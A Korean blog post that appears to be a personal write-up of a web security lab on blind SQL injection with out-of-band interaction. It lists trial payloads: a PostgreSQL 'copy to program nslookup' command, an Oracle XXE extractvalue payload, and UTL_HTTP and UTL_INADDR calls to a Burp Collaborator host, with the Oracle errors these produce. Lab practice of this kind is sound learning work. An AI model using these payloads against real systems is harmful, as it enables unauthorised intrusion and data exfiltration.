일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 뭉쳐야 찬다
- 해킹
- 김영권
- 김재석
- 이상형 만들기
- 은혜의 강 교회
- 최강욱
- 성남 코로나 확진자
- 이태원 클라쓰 15회 예고
- 불가피
- 고민정
- libtins
- 미국 금리인하
- 리리남매
- 폰폰테스트
- 유튜버 김재석
- 조희연
- 킹덤 고근희
- 양적완화
- 스페인 코로나
- 스콜피온킹
- 임영규
- 금리인하
- 홍혜걸
- 제넥신
- 성남은혜의강교회
- 픽크루
- 김영권 아내
- 이지혜
- 학교 개학 연기 4월
- Today
- Total
Dork's port
SQL-injection - Blind SQL injection with out-of-band interaction 본문
SQL-injection - Blind SQL injection with out-of-band interaction
Dork94 2020. 7. 14. 16:29out-of-band 를 발생시키면 되는 문제. 즉, 다른곳으로 패킷이 날라가게끔 하면된다.
cheat-sheet에 따르면, Oracle은 이미 패치가 되었고 (그러나 아직 이전 버전의 사용자가 많다고 서술하고 있다), MySQL에서는 windows에서만 가능하다고 한다.
우선 이전에 쭉 PostgreSQL을 사용하였으므로 먼저 테스트해보려고
copy (SELECT '') to program 'nslookup burpcollaborator.net'
을 테스트 해보았다. 내가 구축한 DB에서는 정상적으로 동작하지 않았는데 그 이유는 DB를 구동하는 Docker에 nslookup이 없기때문인 것 같다.그래서 이제 SQL Injection에 동작하는 query를 만들어야하는데 병렬적으로 어떻게 저 쿼리를 실행할 수 있을까..
기본적으로
UNION, ||, or
등을 이용한 병렬적 실행은 되지 않는다.그래서
SELECT 'a' where False UNION SELECT CASE WHEN True THEN copy (SELECT '') to program 'nslookup burpcollaborator.net' ELSE NULL END;
와 같이 copy 함수가 독립적인 query를 보장받을 것 같은 statement를 만들었는데 이것도 되지 않네..우선
SELECT
를 사용하는 다른 database를 이용해보기로 했다. 따라서, Oracle DB의' UNION SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://burpcollaborator.net/"> %remote]>'),'/l') FROM dual--
와' SELECT UTL_INADDR.get_host_address('burpcollaborator.net') --
를 해보았는데 되지 않는다.다만 첫번째는 500 Err가 리턴된다.
Oracle DB를 구축했다..... client를 mac에서 접속하기 위해 블로그에 정리했다. 블로그
Oracle DB에서 아래와 같이 에러가 난다. 제대로 동작은 하고있는 것 같은데...
SQL> SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual; SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual * ERROR at line 1: ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side ORA-06512: at "SYS.XMLTYPE", line 310 ORA-06512: at line 1
' UNION SELECT UTL_HTTP.REQUEST("http://burpcollaborator.net/") FROM DUAL— ERROR at line 1: ORA-03113: end-of-file on communication channel Process ID: 227 Session ID: 19 Serial number: 140728898420757
저것도 안대네
~내 서버에서는 그래도 뭔가 되는 것 같은데 웹에서는 진행이 안된다.' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS("http://burpcollaborator.net/")--
이것도 안돼용~' UNION SELECT UTL_INADDR.get_host_address('burpcollaborator.net') FROM dual--
이게 된다. 이건 oracle cheat sheet에서 찾았다.위와의 차이점을 테스트해보니
", http://, FROM DUAL
이었다. 음... 마지막껀 이해가 되는데 처음 두개는 이해가 잘안되네..